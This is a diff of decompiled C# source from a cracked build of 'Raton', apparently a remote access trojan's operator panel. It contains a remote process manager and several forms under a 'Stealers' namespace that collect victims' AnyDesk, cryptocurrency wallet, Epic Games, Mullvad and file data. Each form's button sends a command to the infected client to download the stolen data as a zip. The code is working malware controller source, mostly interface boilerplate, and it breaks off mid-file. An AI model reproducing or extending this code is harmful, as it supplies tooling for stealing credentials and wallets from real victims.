this.columnHeader2 = new ColumnHeader();
|
||||
this.columnHeader1 = new ColumnHeader();
|
||||
this.aeroListView2 = new AeroListView();
|
||||
this.label1 = new Label();
|
||||
this.contextMenuStrip1.SuspendLayout();
|
||||
this.SuspendLayout();
|
||||
this.columnHeader6.Text = "PID";
|
||||
this.columnHeader6.TextAlign = HorizontalAlignment.Center;
|
||||
this.columnHeader6.Width = 515;
|
||||
this.columnHeader5.Text = "Name";
|
||||
this.columnHeader5.Width = 322;
|
||||
this.timer2.Interval = 10000;
|
||||
this.timer2.Tick += new EventHandler(this.timer2_Tick);
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.imageList1.ColorDepth = ColorDepth.Depth32Bit;
|
||||
this.imageList1.ImageSize = new Size(24, 24);
|
||||
this.imageList1.TransparentColor = Color.Transparent;
|
||||
this.processInformationToolStripMenuItem.Image = (Image) Resources.InformationSymbol_16x1;
|
||||
this.processInformationToolStripMenuItem.Name = "processInformationToolStripMenuItem";
|
||||
this.processInformationToolStripMenuItem.Size = new Size(180, 22);
|
||||
this.processInformationToolStripMenuItem.Text = "Process information";
|
||||
this.processInformationToolStripMenuItem.Click += new EventHandler(this.processInformationToolStripMenuItem_Click);
|
||||
this.refreshProcessToolStripMenuItem.Image = (Image) Resources.Refresh_greyThin_16x;
|
||||
this.refreshProcessToolStripMenuItem.Name = "refreshProcessToolStripMenuItem";
|
||||
this.refreshProcessToolStripMenuItem.Size = new Size(180, 22);
|
||||
this.refreshProcessToolStripMenuItem.Text = "Refresh list";
|
||||
this.refreshProcessToolStripMenuItem.Click += new EventHandler(this.refreshProcessToolStripMenuItem_Click);
|
||||
this.toolStripSeparator1.Name = "toolStripSeparator1";
|
||||
this.toolStripSeparator1.Size = new Size(177, 6);
|
||||
this.pauseProcessToolStripMenuItem.Image = (Image) Resources.Pause_grey_16x;
|
||||
this.pauseProcessToolStripMenuItem.Name = "pauseProcessToolStripMenuItem";
|
||||
this.pauseProcessToolStripMenuItem.Size = new Size(180, 22);
|
||||
this.pauseProcessToolStripMenuItem.Text = "Pause process";
|
||||
this.pauseProcessToolStripMenuItem.Click += new EventHandler(this.pauseProcessToolStripMenuItem_Click);
|
||||
this.killProcessToolStripMenuItem.Image = (Image) Resources.Copy_16x;
|
||||
this.killProcessToolStripMenuItem.Name = "killProcessToolStripMenuItem";
|
||||
this.killProcessToolStripMenuItem.Size = new Size(180, 22);
|
||||
this.killProcessToolStripMenuItem.Text = "Kill process";
|
||||
this.killProcessToolStripMenuItem.Click += new EventHandler(this.killProcessToolStripMenuItem_Click);
|
||||
this.contextMenuStrip1.Items.AddRange(new ToolStripItem[6]
|
||||
{
|
||||
(ToolStripItem) this.killProcessToolStripMenuItem,
|
||||
(ToolStripItem) this.pauseProcessToolStripMenuItem,
|
||||
(ToolStripItem) this.resumeProcessToolStripMenuItem,
|
||||
(ToolStripItem) this.toolStripSeparator1,
|
||||
(ToolStripItem) this.refreshProcessToolStripMenuItem,
|
||||
(ToolStripItem) this.processInformationToolStripMenuItem
|
||||
});
|
||||
this.contextMenuStrip1.Name = "contextMenuStrip1";
|
||||
this.contextMenuStrip1.Size = new Size(181, 120);
|
||||
this.resumeProcessToolStripMenuItem.Image = (Image) Resources.ResumePhone_16x;
|
||||
this.resumeProcessToolStripMenuItem.Name = "resumeProcessToolStripMenuItem";
|
||||
this.resumeProcessToolStripMenuItem.Size = new Size(180, 22);
|
||||
this.resumeProcessToolStripMenuItem.Text = "Resume process";
|
||||
this.resumeProcessToolStripMenuItem.Click += new EventHandler(this.resumeProcessToolStripMenuItem_Click);
|
||||
this.columnHeader4.Text = "Process is";
|
||||
this.columnHeader4.TextAlign = HorizontalAlignment.Center;
|
||||
this.columnHeader4.Width = 214;
|
||||
this.columnHeader3.Text = "Status";
|
||||
this.columnHeader3.TextAlign = HorizontalAlignment.Center;
|
||||
this.columnHeader3.Width = 119;
|
||||
this.columnHeader2.Text = "PID";
|
||||
this.columnHeader2.TextAlign = HorizontalAlignment.Center;
|
||||
this.columnHeader2.Width = 81;
|
||||
this.columnHeader1.Text = "Name";
|
||||
this.columnHeader1.Width = 177;
|
||||
this.aeroListView2.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.aeroListView2.Columns.AddRange(new ColumnHeader[2]
|
||||
{
|
||||
this.columnHeader5,
|
||||
this.columnHeader6
|
||||
});
|
||||
this.aeroListView2.ContextMenuStrip = this.contextMenuStrip1;
|
||||
this.aeroListView2.Dock = DockStyle.Fill;
|
||||
this.aeroListView2.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.aeroListView2.FullRowSelect = true;
|
||||
this.aeroListView2.HideSelection = false;
|
||||
this.aeroListView2.Location = new Point(0, 0);
|
||||
viewColumnSorter.Order = SortOrder.None;
|
||||
viewColumnSorter.SortColumn = 0;
|
||||
this.aeroListView2.LvwColumnSorter = viewColumnSorter;
|
||||
this.aeroListView2.Name = "aeroListView2";
|
||||
this.aeroListView2.Size = new Size(839, 370);
|
||||
this.aeroListView2.SmallImageList = this.imageList1;
|
||||
this.aeroListView2.TabIndex = 4;
|
||||
this.aeroListView2.UseCompatibleStateImageBehavior = false;
|
||||
this.aeroListView2.View = View.Details;
|
||||
this.aeroListView2.Visible = false;
|
||||
this.aeroListView2.SelectedIndexChanged += new EventHandler(this.aeroListView2_SelectedIndexChanged);
|
||||
this.label1.BackColor = Color.Transparent;
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(-2, 117);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(841, 125);
|
||||
this.label1.TabIndex = 5;
|
||||
this.label1.Text = "Please wait...";
|
||||
this.label1.TextAlign = ContentAlignment.MiddleCenter;
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(839, 370);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.Controls.Add((Control) this.aeroListView2);
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonWindows);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonWindows);
|
||||
this.Load += new EventHandler(this.ratonWindows_Load);
|
||||
this.contextMenuStrip1.ResumeLayout(false);
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,121 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Stealers.ratonAnyDesk
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Classes;
|
||||
using Raton.Forms.ClientForms.Misc;
|
||||
using Raton.Properties;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Stealers;
|
||||
|
||||
public class ratonAnyDesk : Form
|
||||
{
|
||||
private IContainer components;
|
||||
public RgbBuildButton button1;
|
||||
public TextBox textBox1;
|
||||
public Label label1;
|
||||
private Timer timer1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonAnyDesk()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
string str1 = Helpers.Random();
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Download");
|
||||
pack.SetString("File", this.textBox1.Text);
|
||||
pack.SetString("DUID", str1);
|
||||
string str2 = "File ID: ";
|
||||
if ((ratonFIle) Application.OpenForms[str2 + str1] != null)
|
||||
return;
|
||||
ratonFIle ratonFile = new ratonFIle();
|
||||
ratonFile.Name = str2 + str1;
|
||||
ratonFile.Text = str2 + str1;
|
||||
ratonFile.SillyClient = this.SillyClient;
|
||||
ratonFile.Show();
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private void ratonAnyDesk_Load(object sender, EventArgs e) => this.timer1.Start();
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonAnyDesk));
|
||||
this.button1 = new RgbBuildButton();
|
||||
this.textBox1 = new TextBox();
|
||||
this.label1 = new Label();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.SuspendLayout();
|
||||
this.button1.Cursor = Cursors.Arrow;
|
||||
this.button1.Font = new Font("Segoe UI Semibold", 10.5f);
|
||||
this.button1.ForeColor = Color.White;
|
||||
this.button1.Icon = (Image) Resources.ic_fluent_folder_zip_24_filled;
|
||||
this.button1.IconSize = 25;
|
||||
this.button1.IconSpacing = 8;
|
||||
this.button1.Location = new Point(12, 62);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new Size(543, 46);
|
||||
this.button1.TabIndex = 8;
|
||||
this.button1.Text = "Download zip";
|
||||
this.button1.Click += new EventHandler(this.button1_Click);
|
||||
this.textBox1.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.textBox1.Enabled = false;
|
||||
this.textBox1.Location = new Point(12, 33);
|
||||
this.textBox1.Name = "textBox1";
|
||||
this.textBox1.Size = new Size(543, 20);
|
||||
this.textBox1.TabIndex = 7;
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(12, 14);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(212, 16 /*0x10*/);
|
||||
this.label1.TabIndex = 6;
|
||||
this.label1.Text = "Waiting for the client anydesk data...";
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(567, 122);
|
||||
this.Controls.Add((Control) this.button1);
|
||||
this.Controls.Add((Control) this.textBox1);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonAnyDesk);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonAnyDesk);
|
||||
this.Load += new EventHandler(this.ratonAnyDesk_Load);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,122 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Stealers.ratonCrypto
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Classes;
|
||||
using Raton.Forms.ClientForms.Misc;
|
||||
using Raton.Properties;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Stealers;
|
||||
|
||||
public class ratonCrypto : Form
|
||||
{
|
||||
private IContainer components;
|
||||
public TextBox textBox1;
|
||||
public Label label1;
|
||||
private Timer timer1;
|
||||
public RgbBuildButton button1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonCrypto()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void ratonCrypto_Load(object sender, EventArgs e) => this.timer1.Start();
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
string str1 = Helpers.Random();
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Download");
|
||||
pack.SetString("File", this.textBox1.Text);
|
||||
pack.SetString("DUID", str1);
|
||||
string str2 = "File ID: ";
|
||||
if ((ratonFIle) Application.OpenForms[str2 + str1] != null)
|
||||
return;
|
||||
ratonFIle ratonFile = new ratonFIle();
|
||||
ratonFile.Name = str2 + str1;
|
||||
ratonFile.Text = str2 + str1;
|
||||
ratonFile.SillyClient = this.SillyClient;
|
||||
ratonFile.Show();
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonCrypto));
|
||||
this.textBox1 = new TextBox();
|
||||
this.label1 = new Label();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.button1 = new RgbBuildButton();
|
||||
this.SuspendLayout();
|
||||
this.textBox1.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.textBox1.Enabled = false;
|
||||
this.textBox1.Location = new Point(12, 34);
|
||||
this.textBox1.Name = "textBox1";
|
||||
this.textBox1.Size = new Size(543, 22);
|
||||
this.textBox1.TabIndex = 4;
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(12, 15);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(202, 16 /*0x10*/);
|
||||
this.label1.TabIndex = 3;
|
||||
this.label1.Text = "Waiting for the client crypto data...";
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.button1.Cursor = Cursors.Arrow;
|
||||
this.button1.Font = new Font("Segoe UI Semibold", 10.5f);
|
||||
this.button1.ForeColor = Color.White;
|
||||
this.button1.Icon = (Image) Resources.ic_fluent_folder_zip_24_filled;
|
||||
this.button1.IconSize = 25;
|
||||
this.button1.IconSpacing = 8;
|
||||
this.button1.Location = new Point(12, 63 /*0x3F*/);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new Size(543, 46);
|
||||
this.button1.TabIndex = 5;
|
||||
this.button1.Text = "Download zip";
|
||||
this.button1.Click += new EventHandler(this.button1_Click);
|
||||
this.AutoScaleDimensions = new SizeF(7f, 15f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(567, 122);
|
||||
this.Controls.Add((Control) this.button1);
|
||||
this.Controls.Add((Control) this.textBox1);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonCrypto);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonCrypto);
|
||||
this.Load += new EventHandler(this.ratonCrypto_Load);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,124 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Stealers.ratonEpic
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Classes;
|
||||
using Raton.Forms.ClientForms.Misc;
|
||||
using Raton.Properties;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Stealers;
|
||||
|
||||
public class ratonEpic : Form
|
||||
{
|
||||
private IContainer components;
|
||||
private Timer timer1;
|
||||
public TextBox textBox1;
|
||||
public Label label1;
|
||||
public RgbBuildButton button1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonEpic()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void ratonEpic_Load(object sender, EventArgs e)
|
||||
{
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
string str1 = Helpers.Random();
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Download");
|
||||
pack.SetString("File", this.textBox1.Text);
|
||||
pack.SetString("DUID", str1);
|
||||
string str2 = "File ID: ";
|
||||
if ((ratonFIle) Application.OpenForms[str2 + str1] != null)
|
||||
return;
|
||||
ratonFIle ratonFile = new ratonFIle();
|
||||
ratonFile.Name = str2 + str1;
|
||||
ratonFile.Text = str2 + str1;
|
||||
ratonFile.SillyClient = this.SillyClient;
|
||||
ratonFile.Show();
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonEpic));
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.textBox1 = new TextBox();
|
||||
this.label1 = new Label();
|
||||
this.button1 = new RgbBuildButton();
|
||||
this.SuspendLayout();
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.textBox1.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.textBox1.Enabled = false;
|
||||
this.textBox1.Location = new Point(12, 34);
|
||||
this.textBox1.Name = "textBox1";
|
||||
this.textBox1.Size = new Size(543, 22);
|
||||
this.textBox1.TabIndex = 7;
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(12, 15);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(231, 16 /*0x10*/);
|
||||
this.label1.TabIndex = 6;
|
||||
this.label1.Text = "Waiting for the client Epic games data...";
|
||||
this.button1.Cursor = Cursors.Arrow;
|
||||
this.button1.Font = new Font("Segoe UI Semibold", 10.5f);
|
||||
this.button1.ForeColor = Color.White;
|
||||
this.button1.Icon = (Image) Resources.ic_fluent_folder_zip_24_filled;
|
||||
this.button1.IconSize = 25;
|
||||
this.button1.IconSpacing = 8;
|
||||
this.button1.Location = new Point(12, 64 /*0x40*/);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new Size(543, 46);
|
||||
this.button1.TabIndex = 8;
|
||||
this.button1.Text = "Download zip";
|
||||
this.button1.Click += new EventHandler(this.button1_Click);
|
||||
this.AutoScaleDimensions = new SizeF(7f, 15f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(567, 122);
|
||||
this.Controls.Add((Control) this.button1);
|
||||
this.Controls.Add((Control) this.textBox1);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonEpic);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonEpic);
|
||||
this.Load += new EventHandler(this.ratonEpic_Load);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,131 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Stealers.ratonFileEx
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Classes;
|
||||
using Raton.Forms.ClientForms.Misc;
|
||||
using Raton.Properties;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Stealers;
|
||||
|
||||
public class ratonFileEx : Form
|
||||
{
|
||||
private IContainer components;
|
||||
private Timer timer1;
|
||||
public TextBox textBox1;
|
||||
public Label label1;
|
||||
public Label label2;
|
||||
public RgbBuildButton button1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonFileEx()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void ratonFileEx_Load(object sender, EventArgs e) => this.timer1.Start();
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
string str1 = Helpers.Random();
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Download");
|
||||
pack.SetString("File", this.textBox1.Text);
|
||||
pack.SetString("DUID", str1);
|
||||
string str2 = "File ID: ";
|
||||
if ((ratonFIle) Application.OpenForms[str2 + str1] != null)
|
||||
return;
|
||||
ratonFIle ratonFile = new ratonFIle();
|
||||
ratonFile.Name = str2 + str1;
|
||||
ratonFile.Text = str2 + str1;
|
||||
ratonFile.SillyClient = this.SillyClient;
|
||||
ratonFile.Show();
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonFileEx));
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.textBox1 = new TextBox();
|
||||
this.label1 = new Label();
|
||||
this.label2 = new Label();
|
||||
this.button1 = new RgbBuildButton();
|
||||
this.SuspendLayout();
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.textBox1.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.textBox1.Enabled = false;
|
||||
this.textBox1.Location = new Point(12, 36);
|
||||
this.textBox1.Name = "textBox1";
|
||||
this.textBox1.Size = new Size(543, 20);
|
||||
this.textBox1.TabIndex = 10;
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(12, 17);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(159, 16 /*0x10*/);
|
||||
this.label1.TabIndex = 9;
|
||||
this.label1.Text = "Waiting for the client files...";
|
||||
this.label2.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
|
||||
this.label2.Location = new Point(396, 17);
|
||||
this.label2.Name = "label2";
|
||||
this.label2.Size = new Size(159, 16 /*0x10*/);
|
||||
this.label2.TabIndex = 12;
|
||||
this.label2.Text = "0%";
|
||||
this.label2.TextAlign = ContentAlignment.TopRight;
|
||||
this.button1.Cursor = Cursors.Arrow;
|
||||
this.button1.Font = new Font("Segoe UI Semibold", 10.5f);
|
||||
this.button1.ForeColor = Color.White;
|
||||
this.button1.Icon = (Image) Resources.ic_fluent_folder_zip_24_filled;
|
||||
this.button1.IconSize = 25;
|
||||
this.button1.IconSpacing = 8;
|
||||
this.button1.Location = new Point(12, 64 /*0x40*/);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new Size(543, 46);
|
||||
this.button1.TabIndex = 13;
|
||||
this.button1.Text = "Download zip";
|
||||
this.button1.Click += new EventHandler(this.button1_Click);
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(567, 122);
|
||||
this.Controls.Add((Control) this.button1);
|
||||
this.Controls.Add((Control) this.label2);
|
||||
this.Controls.Add((Control) this.textBox1);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonFileEx);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonFileEx);
|
||||
this.Load += new EventHandler(this.ratonFileEx_Load);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,124 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Stealers.ratonMullvad
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Classes;
|
||||
using Raton.Forms.ClientForms.Misc;
|
||||
using Raton.Properties;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Stealers;
|
||||
|
||||
public class ratonMullvad : Form
|
||||
{
|
||||
private IContainer components;
|
||||
private Timer timer1;
|
||||
public TextBox textBox1;
|
||||
public Label label1;
|
||||
public RgbBuildButton button1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonMullvad()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void ratonMullvad_Load(object sender, EventArgs e)
|
||||
{
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
string str1 = Helpers.Random();
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Download");
|
||||
pack.SetString("File", this.textBox1.Text);
|
||||
pack.SetString("DUID", str1);
|
||||
string str2 = "File ID: ";
|
||||
if ((ratonFIle) Application.OpenForms[str2 + str1] != null)
|
||||
return;
|
||||
ratonFIle ratonFile = new ratonFIle();
|
||||
ratonFile.Name = str2 + str1;
|
||||
ratonFile.Text = str2 + str1;
|
||||
ratonFile.SillyClient = this.SillyClient;
|
||||
ratonFile.Show();
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonMullvad));
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.textBox1 = new TextBox();
|
||||
